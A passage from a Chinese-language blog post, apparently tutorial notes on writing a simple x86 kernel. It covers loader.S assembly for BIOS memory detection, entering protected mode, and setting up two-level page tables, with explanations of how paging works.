class="line"></span><br><span class="line">;------  int 15h ax = E801h 获取内存大小,最大支持4G  ------</span><br><span class="line">; 返回后, ax cx 值一样,以KB为单位,bx dx值一样,以64KB为单位</span><br><span class="line">; 在ax和cx寄存器中为低16M,在bx和dx寄存器中为16MB到4G。</span><br><span class="line">.e820_failed_so_try_e801:</span><br><span class="line">   mov ax,0xe801</span><br><span class="line">   int 0x15</span><br><span class="line">   jc .e801_failed_so_try88   ;若当前e801方法失败,就尝试0x88方法</span><br><span class="line"></span><br><span class="line">;1 先算出低15M的内存,ax和cx中是以KB为单位的内存数量,将其转换为以byte为单位</span><br><span class="line">   mov cx,0x400     ;cx和ax值一样,cx用做乘数</span><br><span class="line">   mul cx </span><br><span class="line">   shl edx,16</span><br><span class="line">   and eax,0x0000FFFF</span><br><span class="line">   or edx,eax</span><br><span class="line">   add edx, 0x100000 ;ax只是15MB,故要加1MB</span><br><span class="line">   mov esi,edx     ;先把低15MB的内存容量存入esi寄存器备份</span><br><span class="line"></span><br><span class="line">;2 再将16MB以上的内存转换为byte为单位,寄存器bx和dx中是以64KB为单位的内存数量</span><br><span class="line">   xor eax,eax</span><br><span class="line">   mov ax,bx</span><br><span class="line">   mov ecx, 0x10000;0x10000十进制为64KB</span><br><span class="line">   mul ecx    ;32位乘法,默认的被乘数是eax,积为64位,高32位存入edx,低32位存入eax.</span><br><span class="line">   add esi,eax;由于此方法只能测出4G以内的内存,故32位eax足够了,edx肯定为0,只加eax便可</span><br><span class="line">   mov edx,esi;edx为总内存大小</span><br><span class="line">   jmp .mem_get_ok</span><br><span class="line"></span><br><span class="line">;-----------------  int 15h ah = 0x88 获取内存大小,只能获取64M之内  ----------</span><br><span class="line">.e801_failed_so_try88: </span><br><span class="line">   ;int 15后，ax存入的是以kb为单位的内存容量</span><br><span class="line">   mov  ah, 0x88</span><br><span class="line">   int  0x15</span><br><span class="line">   jc .error_hlt</span><br><span class="line">   and eax,0x0000FFFF</span><br><span class="line">      </span><br><span class="line">   ;16位乘法，被乘数是ax,积为32位.积的高16位在dx中，积的低16位在ax中</span><br><span class="line">   mov cx, 0x400     ;0x400等于1024,将ax中的内存容量换为以byte为单位</span><br><span class="line">   mul cx</span><br><span class="line">   shl edx, 16     ;把dx移到高16位</span><br><span class="line">   or edx, eax     ;把积的低16位组合到edx,为32位的积</span><br><span class="line">   add edx,0x100000  ;0x88子功能只会返回1MB以上的内存,故实际内存大小要加上1MB</span><br><span class="line"></span><br><span class="line">.mem_get_ok:</span><br><span class="line">   mov [total_mem_bytes], edx ;将内存换为byte单位后存入total_mem_bytes处。</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">;-----------------   准备进入保护模式   -------------------</span><br><span class="line">;1 打开A20</span><br><span class="line">;2 加载gdt</span><br><span class="line">;3 将cr0的pe位置1</span><br><span class="line"></span><br><span class="line">   ;-----------------  打开A20  ----------------</span><br><span class="line">   in al,0x92</span><br><span class="line">   or al,0000_0010B</span><br><span class="line">   out 0x92,al</span><br><span class="line"></span><br><span class="line">   ;-----------------  加载GDT  ----------------</span><br><span class="line">   lgdt [gdt_ptr]</span><br><span class="line"></span><br><span class="line">   ;-----------------  cr0第0位置1  ----------------</span><br><span class="line">   mov eax, cr0</span><br><span class="line">   or eax, 0x00000001</span><br><span class="line">   mov cr0, eax</span><br><span class="line"></span><br><span class="line">   jmp dword SELECTOR_CODE:p_mode_start   ; 刷新流水线，避免分支预测的影响,这种cpu优化策略，最怕jmp跳转，</span><br><span class="line">                     ; 这将导致之前做的预测失效，从而起到了刷新的作用。</span><br><span class="line">.error_hlt:      ;出错则挂起</span><br><span class="line">   hlt</span><br><span class="line"></span><br><span class="line">[bits 32]</span><br><span class="line">p_mode_start:</span><br><span class="line">   mov ax, SELECTOR_DATA</span><br><span class="line">   mov ds, ax</span><br><span class="line">   mov es, ax</span><br><span class="line">   mov ss, ax</span><br><span class="line">   mov esp,LOADER_STACK_TOP</span><br><span class="line">   mov ax, SELECTOR_VIDEO</span><br><span class="line">   mov gs, ax</span><br><span class="line"></span><br><span class="line">   mov byte [gs:160], &apos;P&apos;</span><br><span class="line"></span><br><span class="line">   jmp $</span><br></pre></td></tr></table></figure><p>在<code>mbr.S</code>中也需要修改一处内容，我们跳转的内容要加上0x300，原因是在 loader.S 中<code>loader_start</code>计算如下</p><blockquote><p>(4个段描述符 + 60个段描述符槽位) * 8字节 = total_mem_bytes_offset</p><p>(4 + 60) * 8 = 512 = 0x200</p><p>total_mem_bytes + gdt_ptr + ards_buf + adrs_nr + total_mem_bytes_offset = loader_start</p><p>4 + 6 + 244 + 2 + 0x200 = 0x300</p></blockquote><p>修改片断如下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">[...] </span><br><span class="line">   mov eax,LOADER_START_SECTOR</span><br><span class="line">   mov bx,LOADER_BASE_ADDR</span><br><span class="line">   mov cx,4</span><br><span class="line">   call rd_disk_m_16</span><br><span class="line">  </span><br><span class="line">   jmp LOADER_BASE_ADDR+0x300 ; 这里</span><br><span class="line"></span><br><span class="line">rd_disk_m_16:   </span><br><span class="line">[...]</span><br></pre></td></tr></table></figure><p>运行结果如下，这里我们用<code>xp 0xb00</code>查看我们的结果，<code>0x02000000</code>换算过来刚好是我们<code>bochsrc.disk</code>中 megs 设置的32MB大小</p><p><img src="/2020/05/10/简单内核实现笔记-part-1/31.png" alt="image-20200508083919353"></p><h2 id="启动分页机制"><a href="#启动分页机制" class="headerlink" title="启动分页机制"></a>启动分页机制</h2><p>　　分页机制是当物理内存不足时，或者内存碎片过多无法容纳新进程等情况的一种应对措施。假如说此时未开启分页功能，而物理内存空间又不足，如下图所示，此时线性地址和物理地址一一对应，没有满足进程C的内存大小，可以选择等待进程B或者A执行完获得连续的内存空间，也可以将A3或者B1段换到硬盘上，腾出一部分空间，然而这些IO操作过多会使机器响应速度很慢，用户体验很差。</p><p><img src="/2020/05/10/简单内核实现笔记-part-1/32.png" alt="image-20200508083919353"></p><p>出现这种情况的本质其实是在分段机制下，线性地址等价于物理地址。那么即使在进程B的下面还有10M的可用空间，但因为两块可用空间并不连续，所以进程C无法使用进程B下面的10M可用空间。</p><p>按照这种思路，只需要通过某种映射关系，将线性地址映射到任意的物理地址，就可以解决这种问题了。实现线性地址的连续，而物理地址不需要连续，于是分页机制就诞生了。</p><h2 id="一级页表"><a href="#一级页表" class="headerlink" title="一级页表"></a>一级页表</h2><p>　　在保护模式下寻址依旧是通过<code>段基址:段内偏移</code>组成的线性地址，计算出线性地址后再通过判断分页位是否打开，若打开则开启分页机制进行检索，如下图所示</p><p><img src="/2020/05/10/简单内核实现笔记-part-1/33.png" alt="image-20200508083919353"></p><p>分页机制的作用有</p><ul><li>将线性地址转换成物理地址</li><li>用大小相等的页代替大小不等的段</li></ul><p>分页机制的作用如下图所示，分页机制来映射的线性地址便是我们经常说的虚拟地址</p><p><img src="/2020/05/10/简单内核实现笔记-part-1/34.png" alt="image-20200508083919353"></p><p>因为<code>页大小 * 页数量 = 4GB</code>，想要减少页表的大小，只能增加一页的大小。最终通过数学求极限，定下4KB为最佳页大小。页表将线性地址转换成物理地址的过程总结如下图，首先通过计算线性地址高20位索引出页表中的基址，然后加上低12位计算出最终的物理地址，下图中0x9234即是最终的物理地址</p><p><img src="/2020/05/10/简单内核实现笔记-part-1/35.png" alt="image-20200508083919353"></p><h2 id="二级页表"><a href="#二级页表" class="headerlink" title="二级页表"></a>二级页表</h2><p>　　无论是几级页表，标准页的尺寸都是4KB。所以4GB的线性地址空间最多有1M个标准页。一级页表是将这1M个标准页放置到一张页表中，二级页表是将这1M个标准页平均放置1K个页表中，每个页表包含有1K个页表项。页表项是4字节大小，页表包含1K个页表项，故页表的大小同样为4KB，刚好为一页。</p><p>为了管理页表的物理地址，专门有一个页目录表来存放这些页表。页目录表中存储的页表称为页目录项(PDE)，页目录项同样为4KB，且最多有1K个页目录项，所以页目录表也是4KB，如下图所示</p><p><img src="/2020/05/10/简单内核实现笔记-part-1/36.png" alt="image-20200508083919353"></p><p>二级页表中虚拟地址到物理地址的转换也有很大的变化，具体步骤如下</p><ul><li>用虚拟地址的高 10 位乘以 4，作为页目录表内的偏移地址，加上页目录表的物理地址，所得的和，便是页目录项的物理地址。读取该页目录项，从中获取到页表的物理地址。</li><li>用虚拟地址的中间 10 位乘以 4，作为页表内的偏移地址，加上在第 1 步中得到的页表物理地址，所得的和，便是页表项的物理地址。读取该页表项，从中获取到分配的物理页地址。</li><li>虚拟地址的高 10 位和中间 10 位分别是 PDE PIE 的索引值，所以它们需要乘以 4。但低 12 位就不是索引值了，其表示的范围是 0~0xfff，作为页内偏移最合适，所以虚拟地址的低 12 位加上第二步中得到的物理页地址，所得的和便是最终转换的物理地址。</li></ul><p>还是用书中的图最直观，下图表示<code>mov ax, [0x1234567]</code>的转换过程，可以发现cr3寄存器其实指向的是页目录表基地址</p><p><img src="/2020/05/10/简单内核实现笔记-part-1/37.png" alt="image-20200508083919353"></p><p>PDE和PTE的结构如下图所示</p><p><img src="/2020/05/10/简单内核实现笔记-part-1/38.png" alt="image-20200508083919353"></p><p>从右到左各属性总结如下表</p><table><thead><tr><th>属性位</th><th style="text-align:center">意义</th></tr></thead><tbody><tr><td>P</td><td style="text-align:center">存在位，为1时表示该页在物理内存中，为0表示不在物理内存中</td></tr><tr><td>RW</td><td style="text-align:center">读写位，为1时可读可写，为0是可读不可写</td></tr><tr><td>US</td><td style="text-align:center">特权位，为1时表示处于普通用户，0~3特权级可访问，为0表示超级用户，0~2特权级可访问</td></tr><tr><td>PWT</td><td style="text-align:center">页级通写位，为1表示此项采用通写方式，表示该页不仅是普通内存，还是高速缓存</td></tr><tr><td>PCD</td><td style="text-align:center">页级高速缓存禁止位，为1表示该页启用高速缓存</td></tr><tr><td>A</td><td style="text-align:center">访问位，为1表示该页被CPU访问过</td></tr><tr><td>D</td><td style="text-align:center">脏页位，当CPU对一个页面执行写操作，此为被赋1</td></tr><tr><td>PAT</td><td style="text-align:center">页属性表位，能够在页面一级的粒度上设置内存属性</td></tr><tr><td>G</td><td style="text-align:center">全局位，为1表示该页在高速缓存TLB中一直保存</td></tr><tr><td>AVL</td><td style="text-align:center">表示软件，系统可用该位，和CPU无关</td></tr></tbody></table><p>总结这些步骤，我们启用分页机制需要做的事情如下</p><ol><li>准备好页目录表及页表</li><li>将页表地址写入控制寄存器cr3</li><li>寄存器cr0的PG位置1</li></ol><p>下面是创建页目录及页表的代码</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line">; 创建页目录及页表</span><br><span class="line">setup_page:</span><br><span class="line">; 先把页目录占用的空间逐字节清零</span><br><span class="line">mov ecx, 4096</span><br><span class="line">mov esi, 0</span><br><span class="line">.clear_page_dir:</span><br><span class="line">mov byte [PAGE_DIR_TABLE_POS + esi], 0</span><br><span class="line">inc esi</span><br><span class="line">loop .clear_page_dir</span><br><span class="line"></span><br><span class="line">; 开始创建页目录项(PDE)</span><br><span class="line">.create_pde:        ; 创建PDE</span><br><span class="line">mov eax, PAGE_DIR_TABLE_POS</span><br><span class="line">add eax, 0x1000 ; 此时eax为第一个页表的位置及属性</span><br><span class="line">mov ebx, eax    ; 此处为ebx赋值,是为.create_pte做准备,ebx为基址</span><br><span class="line"></span><br><span class="line">; 下面将页目录项0和0xc00都存为第一个页表的地址，每个页表表示4MB内存</span><br><span class="line">; 这样0xc03fffff以下的地址和0x003fffff以下的地址都指向相同的页表</span><br><span class="line">; 这是为将地址映射为内核地址做准备</span><br><span class="line">or eax, PG_US_U | PG_RW_W | PG_P      ; 页目录项的属性RW和P位为1,US为1,表示用户属性,所有特权级别都可以访问.</span><br><span class="line">mov [PAGE_DIR_TABLE_POS + 0x0], eax   ; 第1个目录项,在页目录表中的第1个目录项写入第一个页表的位置(0x101000)及属性(7)</span><br><span class="line">mov [PAGE_DIR_TABLE_POS + 0xc00], eax ; 一个页表项占用四字节</span><br><span class="line">; 0xc00表示第768个页表占用的目录项,0xc00以上的目录项用于内核空间</span><br><span class="line">; 也就是页表的0xc0000000~0xffffffff这1G属于内核</span><br><span class="line">; 0x0~0xbfffffff这3G属于用户进程</span><br><span class="line">sub eax, 0x1000</span><br><span class="line">mov [PAGE_DIR_TABLE_POS + 4092], eax  ; 使最后一个目录项指向页目录表自己的地址</span><br><span class="line"></span><br><span class="line">; 下面创建页表项(PTE)</span><br><span class="line">mov ecx, 256; 1M低端内存 / 每页大小 4K = 256</span><br><span class="line">mov esi, 0</span><br><span class="line">mov edx, PG_US_U | PG_RW_W | PG_P; 属性为7</span><br><span class="line">.create_pte:; 创建PTE</span><br><span class="line">mov [ebx+esi*4], edx ; 此时的edx为0x101000,也就是第一个页表的地址</span><br><span class="line">add edx, 4096</span><br><span class="line">inc esi</span><br><span class="line">loop .create_pte</span><br><span class="line"></span><br><span class="line">; 创建内核其他页表的PDE</span><br><span class="line">mov eax, PAGE_DIR_TABLE_POS</span><br><span class="line">add eax, 0x2000; 此时eax为第二个页表的位置</span><br><span class="line">or eax, PG_US_U | PG_RW_W | PG_P; 属性为7</span><br><span class="line">mov ebx, PAGE_DIR_TABLE_POS</span><br><span class="line">mov ecx, 254; 范围为第769~1022的所有目录项数量</span><br><span class="line">mov esi, 769</span><br><span class="line">.create_kernel_pde:</span><br><span class="line">mov [ebx+esi*4], eax</span><br><span class="line">    inc esi</span><br><span class="line">    add eax, 0x1000</span><br><span class="line">    loop .create_kernel_pde</span><br><span class="line">    ret</span><br></pre></td></tr></table></figure><p>在boot.inc中添加如下信息</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">; loader 和 kernel</span><br><span class="line">PAGE_DIR_TABLE_POS equ 0x100000</span><br><span class="line">; 页表相关属性</span><br><span class="line">PG_P equ 1b</span><br><span class="line">PG_RW_R equ 00b</span><br><span class="line">PG_RW_W equ 10b</span><br><span class="line">PG_US_S equ 000b</span><br><span class="line">PG_US_U equ 100b</span><br></pre></td></tr></table></figure><p>进行完第一步的内容，之后的操作相对就简单了，将页表地址写入控制寄存器cr3寄存器和将cr0的PG位置1的操作整合起来的<code>loader.S</code>如下所示</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br></pre></td><td class="code"><pre><span class="line">%include &quot;boot.inc&quot;</span><br><span class="line">section loader vstart=LOADER_BASE_ADDR</span><br><span class="line">LOADER_STACK_TOP equ LOADER_BASE_ADDR</span><br><span class="line"></span><br><span class="line">;构建gdt及其内部的描述符</span><br><span class="line">GDT_BASE:   dd    0x00000000 </span><br><span class="line">       dd    0x00000000</span><br><span class="line"></span><br><span class="line">CODE_DESC:  dd    0x0000FFFF </span><br><span class="line">       dd    DESC_CODE_HIGH4</span><br><span class="line"></span><br><span class="line">DATA_STACK_DESC:  dd    0x0000FFFF</span><br><span class="line">     dd    DESC_DATA_HIGH4</span><br><span class="line"></span><br><span class="line">VIDEO_DESC: dd    0x80000007   ; limit=(0xbffff-0xb8000)/4k=0x7</span><br><span class="line">       dd    DESC_VIDEO_HIGH4  ; 此时dpl为0</span><br><span class="line"></span><br><span class="line">GDT_SIZE   equ   $ - GDT_BASE</span><br><span class="line">GDT_LIMIT   equ   GDT_SIZE -1 </span><br><span class="line">times 60 dq 0 ; 此处预留60个描述符的空位(slot)</span><br><span class="line">SELECTOR_CODE equ (0x0001&lt;&lt;3) + TI_GDT + RPL0     ; 相当于(CODE_DESC - GDT_BASE)/8 + TI_GDT + RPL0</span><br><span class="line">SELECTOR_DATA equ (0x0002&lt;&lt;3) + TI_GDT + RPL0 ; 同上</span><br><span class="line">SELECTOR_VIDEO equ (0x0003&lt;&lt;3) + TI_GDT + RPL0 ; 同上 </span><br><span class="line"></span><br><span class="line">; total_mem_bytes用于保存内存容量,以字节为单位,此位置比较好记。</span><br><span class="line">; 当前偏移loader.bin文件头0x200字节,loader.bin的加载地址是0x900,</span><br><span class="line">; 故total_mem_bytes内存中的地址是0xb00.将来在内核中咱们会引用此地址</span><br><span class="line">total_mem_bytes dd 0 </span><br><span class="line">;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</span><br><span class="line"></span><br><span class="line">;以下是定义gdt的指针，前2字节是gdt界限，后4字节是gdt起始地址</span><br><span class="line">gdt_ptr  dw  GDT_LIMIT </span><br><span class="line">    dd  GDT_BASE</span><br><span class="line"></span><br><span class="line">;人工对齐:total_mem_bytes4字节+gdt_ptr6字节+ards_buf244字节+ards_nr2,共256字节</span><br><span class="line">ards_buf times 244 db 0</span><br><span class="line">ards_nr dw 0      ;用于记录ards结构体数量</span><br><span class="line"></span><br><span class="line">loader_start:</span><br><span class="line"></span><br><span class="line">;-------  int 15h eax = 0000E820h ,edx = 534D4150h (&apos;SMAP&apos;) 获取内存布局  -------</span><br><span class="line"></span><br><span class="line">   xor ebx, ebx      ;第一次调用时，ebx值要为0</span><br><span class="line">   mov edx, 0x534d4150  ;edx只赋值一次，循环体中不会改变</span><br><span class="line">   mov di, ards_buf      ;ards结构缓冲区</span><br><span class="line">.e820_mem_get_loop:      ;循环获取每个ARDS内存范围描述结构</span><br><span class="line">   mov eax, 0x0000e820  ;执行int 0x15后,eax值变为0x534d4150,所以每次执行int前都要更新为子功能号。</span><br><span class="line">   mov ecx, 20      ;ARDS地址范围描述符结构大小是20字节</span><br><span class="line">   int 0x15</span><br><span class="line">   jc .e820_failed_so_try_e801   ;若cf位为1则有错误发生，尝试0xe801子功能</span><br><span class="line">   add di, cx      ;使di增加20字节指向缓冲区中新的ARDS结构位置</span><br><span class="line">   inc word [ards_nr]  ;记录ARDS数量</span><br><span class="line">   cmp ebx, 0      ;若ebx为0且cf不为1,这说明ards全部返回，当前已是最后一个</span><br><span class="line">   jnz .e820_mem_get_loop</span><br><span class="line"></span><br><span class="line">;在所有ards结构中，找出(base_add_low + length_low)的最大值，即内存的容量。</span><br><span class="line">   mov cx, [ards_nr]  ;遍历每一个ARDS结构体,循环次数是ARDS的数量</span><br><span class="line">   mov ebx, ards_buf </span><br><span class="line">   xor edx, edx      ;edx为最大的内存容量,在此先清0</span><br><span class="line">.find_max_mem_area:      ;无须判断type是否为1,最大的内存块一定是可被使用</span><br><span class="line">   mov eax, [ebx]      ;base_add_low</span><br><span class="line">   add eax, [ebx+8]      ;length_low</span><br><span class="line">   add ebx, 20      ;指向缓冲区中下一个ARDS结构</span><br><span class="line">   cmp edx, eax      ;冒泡排序，找出最大,edx寄存器始终是最大的内存容量</span><br><span class="line">   jge .next_ards</span><br><span class="line">   mov edx, eax      ;edx为总内存大小</span><br><span class="line">.next_ards:</span><br><span class="line">   loop .find_max_mem_area</span><br><span class="line">   jmp .mem_get_ok</span><br><span class="line"></span><br><span class="line">;------  int 15h ax = E801h 获取内存大小,最大支持4G  ------</span><br><span class="line">; 返回后, ax cx 值一样,以KB为单位,bx dx值一样,以64KB为单位</span><br><span class="line">; 在ax和cx寄存器中为低16M,在bx和dx寄存器中为16MB到4G。</span><br><span class="line">.e820_failed_so_try_e801:</span><br><span class="line">   mov ax,0xe801</span><br><span class="line">   int 0x15</span><br><span class="line">   jc .e801_failed_so_try88   ;若当前e801方法失败,就尝试0x88方法</span><br><span class="line"></span><br><span class="line">;1 先算出低15M的内存,ax和cx中是以KB为单位的内存数量,将其转换为以byte为单位</span><br><span class="line">   mov cx,0x400     ;cx和ax值一样,cx用做乘数</span><br><span class="line">   mul cx </span><br><span class="line">   shl edx,16</span><br><span class="line">   and eax,0x0000FFFF</span><br><span class="line">   or edx,eax</span><br><span class="line">   add edx, 0x100000 ;ax只是15MB,故要加1MB</span><br><span class="line">   mov esi,edx     ;先把低15MB的内存容量存入esi寄存器备份</span><br><span class="line"></span><br><span class="line">;2 再将16MB以上的内存转换为byte为单位,寄存器bx和dx中是以64KB为单位的内存数量</span><br><span class="line">   xor eax,eax</span><br><span class="line">   mov ax,bx</span><br><span class="line">   mov ecx, 0x10000;0x10000十进制为64KB</span><br><span class="line">   mul ecx    ;32位乘法,默认的被乘数是eax,积为64位,高32位存入edx,低32位存入eax.</span><br><span class="line">   add esi,eax;由于此方法只能测出4G以内的内存,故32位eax足够了,edx肯定为0,只加eax便可</span><br><span class="line">   mov edx,esi;edx为总内存大小</span><br><span class="line">   jmp .mem_get_ok</span><br><span class="line"></span><br><span class="line">;-----------------  int 15h ah = 0x88 获取内存大小,只能获取64M之内  ----------</span><br><span class="line">.e801_failed_so_try88: </span><br><span class="line">   ;int 15后，ax存入的是以kb为单位的内存容量</span><br><span class="line">   mov  ah, 0x88</span><br><span class="line">   int  0x15</span><br><span class="line">   jc .error_hlt</span><br><span class="line">   and eax,0x0000FFFF</span><br><span class="line">      </span><br><span class="line">   ;16位乘法，被乘数是ax,积为32位.积的高16位在dx中，积的低16位在ax中</span><br><span class="line">   mov cx, 0x400     ;0x400等于1024,将ax中的内存容量换为以byte为单位</span><br><span class="line">   mul cx</span><br><span class="line">   shl edx, 16     ;把dx移到高16位</span><br><span class="line">   or edx, eax     ;把积的低16位组合到edx,为32位的积</span><br><span class="line">   add edx,0x100000  ;0x88子功能只会返回1MB以上的内存,故实际内存大小要加上1MB</span><br><span class="line"></span><br><span class="line">.mem_get_ok:</span><br><span class="line">   mov [total_mem_bytes], edx ;将内存换为byte单位后存入total_mem_bytes处。</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">;-----------------   准备进入保护模式   -------------------</span><br><span class="line">;1 打开A20</span><br><span class="line">;2 加载gdt</span><br><span class="line">;3 将cr0的pe位置1</span><br><span class="line"></span><br><span class="line">   ;-----------------  打开A20  ----------------</span><br><span class="line">   in al,0x92</span><br><span class="line">   or al,0000_0010B</span><br><span class="line">   out 0x92,al</span><br><span class="line"></span><br><span class="line">   ;-----------------  加载GDT  ----------------</span><br><span class="line">   lgdt [gdt_ptr]</span><br><span class="line"></span><br><span class="line">   ;-----------------  cr0第0位置1  ----------------</span><br><span class="line">   mov eax, cr0</span><br><span class="line">   or eax, 0x00000001</span><br><span class="line">   mov cr0, eax</span><br><span class="line"></span><br><span class="line">   jmp dword SELECTOR_CODE:p_mode_start   ; 刷新流水线，避免分支预测的影响,这种cpu优化策略，最怕jmp跳转，</span><br><span class="line">                     ; 这将导致之前做的预测失效，从而起到了刷新的作用。</span><br><span class="line">.error_hlt:      ;出错则挂起</span><br><span class="line">   hlt</span><br><span class="line"></span><br><span class="line">[bits 32]</span><br><span class="line">p_mode_start:</span><br><span class="line">   mov ax, SELECTOR_DATA</span><br><span class="line">   mov ds, ax</span><br><span class="line">   mov es, ax</span><br><span class="line">   mov ss, ax</span><br><span class="line">   mov esp,LOADER_STACK_TOP</span><br><span class="line">   mov ax, SELECTOR_VIDEO</span><br><span class="line">   mov gs, ax</span><br><span class="line"></span><br><span class="line">   ; 创建页目录及页表并初始化内存位图</span><br><span class="line">   call setup_page</span><br><span class="line">  </span><br><span class="line">   ; 要将描述符表地址及偏移量写入内存gdt_ptr,一会儿用新地址重新加载</span><br><span class="line">   sgdt [gdt_ptr] ; 储存到原来gdt所有位置</span><br><span class="line">   </span><br><span class="line">   ; 